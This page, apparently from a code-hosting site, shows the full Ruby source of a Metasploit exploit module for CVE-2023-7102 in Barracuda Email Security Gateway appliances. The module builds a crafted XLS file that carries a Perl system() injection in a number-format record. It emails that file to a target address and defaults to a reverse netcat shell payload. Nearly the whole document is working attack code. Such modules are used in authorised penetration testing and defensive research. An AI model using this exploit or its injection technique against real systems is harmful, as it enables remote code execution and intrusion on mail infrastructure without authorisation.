Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/smtp/barracuda_esg_spreadsheet_rce.rb
70334 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Exploit::Remote::SMTPDeliver
11
12
# BIFF8 Record Opcodes
13
BIFF8_BOF = 0x0809 # Beginning of File
14
BIFF8_EOF = 0x000A # End of File
15
BIFF8_CODEPAGE = 0x0042 # Code page
16
BIFF8_WINDOW1 = 0x003D # Window information
17
BIFF8_DATEMODE = 0x0022 # Date system
18
BIFF8_FONT = 0x0031 # Font definition
19
BIFF8_FORMAT = 0x041E # Number format string (payload injection point)
20
BIFF8_XF = 0x00E0 # Extended format
21
BIFF8_STYLE = 0x0293 # Style definition
22
BIFF8_BOUNDSHEET = 0x0085 # Sheet information
23
BIFF8_DIMENSION = 0x0200 # Sheet dimensions
24
BIFF8_ROW = 0x0208 # Row definition
25
BIFF8_NUMBER = 0x0203 # Floating point cell
26
27
# BIFF8 Constants
28
BIFF8_VERSION = 0x0600
29
BOF_WORKBOOK = 0x0005
30
BOF_WORKSHEET = 0x0010
31
32
def initialize(info = {})
33
super(
34
update_info(
35
info,
36
'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution',
37
'Description' => %q{
38
This module exploits CVE-2023-7102, an arbitrary code execution vulnerability
39
in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
40
in how the Amavis scanner processes Excel attachments using the Perl
41
Spreadsheet::ParseExcel library.
42
43
The library's Utility.pm contains an unsafe eval() that processes Excel
44
Number format strings without validation. By crafting a malicious XLS file
45
with a specially formatted Number format string containing Perl code, an
46
attacker can achieve remote code execution when the ESG scans the email
47
attachment.
48
49
This module dynamically generates a minimal BIFF8 XLS file with the payload
50
embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates
51
format string) or single quotes (breaks Perl eval injection).
52
53
This vulnerability was exploited in the wild by UNC4841 (China-nexus threat
54
actor) starting November 2023. Barracuda deployed automatic patches on
55
December 21, 2023.
56
57
Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.001
58
},
59
'License' => MSF_LICENSE,
60
'Author' => [
61
'Mandiant', # CVE-2023-7101/7102 discovery
62
'haile01', # CVE-2023-7101 XLS payload technique
63
'Curt Hyvarinen' # Metasploit module
64
],
65
'References' => [
66
['CVE', '2023-7102'],
67
['CVE', '2023-7101'],
68
['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'],
69
['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'],
70
['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'],
71
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101']
72
],
73
'DisclosureDate' => '2023-12-24',
74
'Platform' => 'unix',
75
'Arch' => ARCH_CMD,
76
'Privileged' => false, # Runs as scana user (Amavis scanner)
77
'Payload' => {
78
'Space' => 8192,
79
'DisableNops' => true,
80
'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates
81
},
82
'Targets' => [
83
[
84
'Unix Command',
85
{
86
'DefaultOptions' => {
87
'PAYLOAD' => 'cmd/unix/reverse_netcat'
88
}
89
}
90
]
91
],
92
'DefaultTarget' => 0,
93
'Notes' => {
94
'Stability' => [CRASH_SAFE],
95
'Reliability' => [REPEATABLE_SESSION],
96
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
97
}
98
)
99
)
100
101
register_options(
102
[
103
OptString.new('MAILTO', [true, 'Target email address on the ESG']),
104
OptString.new('SUBJECT', [false, 'Email subject line (default: random)']),
105
OptString.new('BODY', [false, 'Email body text (default: random)']),
106
OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)'])
107
]
108
)
109
end
110
111
def check
112
connect
113
banner_str = banner.to_s
114
if banner_str =~ /barracuda/i
115
return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
116
end
117
118
if banner_str =~ /ESMTP/i
119
return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
120
end
121
122
CheckCode::Safe('No SMTP banner detected')
123
rescue Rex::ConnectionError => e
124
CheckCode::Unknown("Connection failed: #{e.message}")
125
ensure
126
disconnect
127
end
128
129
def exploit
130
cmd = payload.encoded
131
132
# Validate payload doesn't contain characters that break the injection
133
if cmd.include?(']')
134
fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.")
135
end
136
if cmd.include?("'")
137
fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.')
138
end
139
140
@subject = datastore['SUBJECT']
141
@body = datastore['BODY']
142
@filename = datastore['FILENAME']
143
144
@mailfrom = datastore['MAILFROM']
145
@subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty?
146
@body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty?
147
@filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty?
148
149
print_status('Generating malicious XLS with payload in FORMAT record')
150
xls_data = generate_malicious_xls(cmd)
151
152
print_status('Composing email with XLS attachment')
153
email_data = generate_exploit_email(xls_data)
154
155
print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
156
send_message(email_data)
157
158
print_good('Email sent successfully')
159
print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)')
160
end
161
162
#
163
# Generate a malicious XLS file with payload embedded in FORMAT record
164
# Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically
165
#
166
def generate_malicious_xls(cmd)
167
# Build the malicious format string
168
# Format: [>0;system('COMMAND')]0
169
# The >0 comparison is always true for positive numbers, then Perl executes system()
170
format_payload = "[>0;system('#{cmd}')]0"
171
vprint_status("Format string payload: #{format_payload}")
172
vprint_status("Payload length: #{format_payload.length} bytes")
173
174
# Build BIFF8 workbook stream
175
workbook = build_workbook_stream(format_payload)
176
177
# Build BIFF8 worksheet stream
178
worksheet = build_worksheet_stream
179
180
# Combine streams (worksheet follows workbook globals in same stream)
181
content = workbook + worksheet
182
183
# Create OLE2 container using Rex::OLE
184
xls_data = create_ole2_xls(content)
185
186
vprint_status("Generated XLS size: #{xls_data.length} bytes")
187
xls_data
188
end
189
190
#
191
# Build BIFF8 workbook globals stream
192
#
193
def build_workbook_stream(format_payload)
194
stream = ''.b
195
196
# BOF - Workbook
197
stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK))
198
199
# Codepage (UTF-16)
200
stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v'))
201
202
# Window1 - basic window settings
203
stream << biff_record(BIFF8_WINDOW1, window1_data)
204
205
# Datemode - 1900 date system
206
stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v'))
207
208
# Font records (need at least 4 for XF records)
209
4.times { stream << biff_record(BIFF8_FONT, font_data) }
210
211
# FORMAT record - this is where our payload lives
212
stream << biff_record(BIFF8_FORMAT, format_data(format_payload))
213
214
# XF records (cell formatting) - need 21 built-in + 1 custom
215
21.times { stream << biff_record(BIFF8_XF, xf_data(0)) }
216
stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format
217
218
# Style record
219
stream << biff_record(BIFF8_STYLE, style_data)
220
221
# Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size
222
# Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset
223
boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize
224
eof_size = biff_record(BIFF8_EOF, '').bytesize
225
stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size))
226
227
# EOF
228
stream << biff_record(BIFF8_EOF, '')
229
230
stream
231
end
232
233
#
234
# Build BIFF8 worksheet stream
235
#
236
def build_worksheet_stream
237
stream = ''.b
238
239
# BOF - Worksheet
240
stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET))
241
242
# Dimension - 1x1 used range
243
stream << biff_record(BIFF8_DIMENSION, dimension_data)
244
245
# Row definition
246
stream << biff_record(BIFF8_ROW, row_data(0))
247
248
# NUMBER record - cell with value that triggers format processing
249
# Row 0, Col 0, XF index 21 (our custom format), Value 123.0
250
stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0))
251
252
# EOF
253
stream << biff_record(BIFF8_EOF, '')
254
255
stream
256
end
257
258
#
259
# Create OLE2 compound document containing the workbook stream
260
#
261
def create_ole2_xls(content)
262
# Create temporary file for Rex::OLE
263
tmpfile = Rex::Quickfile.new('msf-xls')
264
tmppath = tmpfile.path
265
tmpfile.close
266
267
begin
268
stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE)
269
fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg
270
271
stm = stg.create_stream('Workbook')
272
fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm
273
274
stm << content
275
stm.close
276
stg.close
277
278
# Read the generated file
279
xls_data = File.binread(tmppath)
280
xls_data
281
ensure
282
File.delete(tmppath) if File.exist?(tmppath)
283
end
284
end
285
286
# BIFF8 Record Helpers
287
288
#
289
# Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data
290
#
291
def biff_record(opcode, data)
292
[opcode, data.bytesize].pack('v2') + data
293
end
294
295
#
296
# BOF record data
297
#
298
def bof_data(sheet_type)
299
[
300
BIFF8_VERSION, # BIFF version
301
sheet_type, # Sheet type (workbook or worksheet)
302
0x0DBB, # Build identifier
303
0x07CC, # Build year
304
0x000000C1, # File history flags
305
0x00000006 # Lowest BIFF version
306
].pack('v4V2')
307
end
308
309
#
310
# Window1 record data
311
#
312
def window1_data
313
[
314
0x0000, # Horizontal position
315
0x0000, # Vertical position
316
0x4000, # Width
317
0x2000, # Height
318
0x0038, # Options
319
0x0000, # Selected tab
320
0x0000, # First displayed tab
321
0x0001, # Selected tabs count
322
0x00E5 # Tab bar width ratio
323
].pack('v9')
324
end
325
326
#
327
# Font record data
328
#
329
def font_data
330
font_name = 'Arial'
331
data = [
332
0x00C8, # Height (200 twips = 10pt)
333
0x0000, # Options
334
0x7FFF, # Color index
335
0x0190, # Font weight (400 = normal)
336
0x0000, # Escapement
337
0x00, # Underline
338
0x00, # Font family
339
0x00, # Character set
340
0x00, # Reserved
341
font_name.length # Name length (byte string)
342
].pack('v4vC5')
343
data << font_name
344
data
345
end
346
347
#
348
# FORMAT record data - contains our payload
349
#
350
def format_data(format_string)
351
# FORMAT record structure for BIFF8:
352
# - 2 bytes: format index (custom formats start at 164)
353
# - 2 bytes: string length (character count)
354
# - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16)
355
# - variable: string data
356
format_index = 165
357
358
data = [
359
format_index,
360
format_string.length,
361
0x00 # Latin-1 encoding (single byte per char)
362
].pack('v2C')
363
data << format_string
364
data
365
end
366
367
#
368
# XF (extended format) record data
369
#
370
def xf_data(format_index)
371
[
372
0x0000, # Font index
373
format_index, # Format index (0 = General, 165 = our custom)
374
0x0001, # Type/protection flags
375
0x00, # Alignment
376
0x00, # Rotation
377
0x00, # Text properties
378
0x00, # Used attributes
379
0x00000000, # Border colors
380
0x00000000, # Border lines
381
0x00000000 # Pattern/background color
382
].pack('v3C4V3')
383
end
384
385
#
386
# Style record data
387
#
388
def style_data
389
[
390
0x8000, # XF index with built-in flag set
391
0x00, # Built-in style ID (Normal)
392
0xFF # Outline level
393
].pack('vCC')
394
end
395
396
#
397
# Boundsheet record data
398
#
399
def boundsheet_data(sheet_offset)
400
sheet_name = 'Sheet1'
401
data = [
402
sheet_offset, # Absolute offset to BOF
403
0x00, # Sheet state (visible)
404
0x00, # Sheet type (worksheet)
405
sheet_name.length # Name length
406
].pack('VCC C')
407
data << sheet_name
408
data
409
end
410
411
#
412
# Dimension record data
413
#
414
def dimension_data
415
[
416
0x0000, # First row
417
0x0001, # Last row + 1
418
0x0000, # First column
419
0x0001, # Last column + 1
420
0x0000 # Reserved
421
].pack('v5')
422
end
423
424
#
425
# Row record data
426
#
427
def row_data(row_num)
428
[
429
row_num, # Row number
430
0x0000, # First defined column
431
0x0001, # Last defined column + 1
432
0x00FF, # Row height
433
0x0000, # Reserved
434
0x0000, # Reserved
435
0x0100 # Options
436
].pack('v7')
437
end
438
439
#
440
# NUMBER record data
441
#
442
def number_data(row, col, xf_index, value)
443
data = [row, col, xf_index].pack('v3')
444
data << [value].pack('E') # 64-bit IEEE 754 double (little-endian)
445
data
446
end
447
448
#
449
# Generate MIME email with XLS attachment
450
#
451
def generate_exploit_email(xls_data)
452
msg = Rex::MIME::Message.new
453
msg.mime_defaults
454
msg.from = @mailfrom
455
msg.to = datastore['MAILTO']
456
msg.subject = @subject
457
458
msg.add_part(@body, 'text/plain', nil, 'inline')
459
msg.add_part_attachment(xls_data, @filename)
460
461
msg.to_s
462
end
463
end
464
465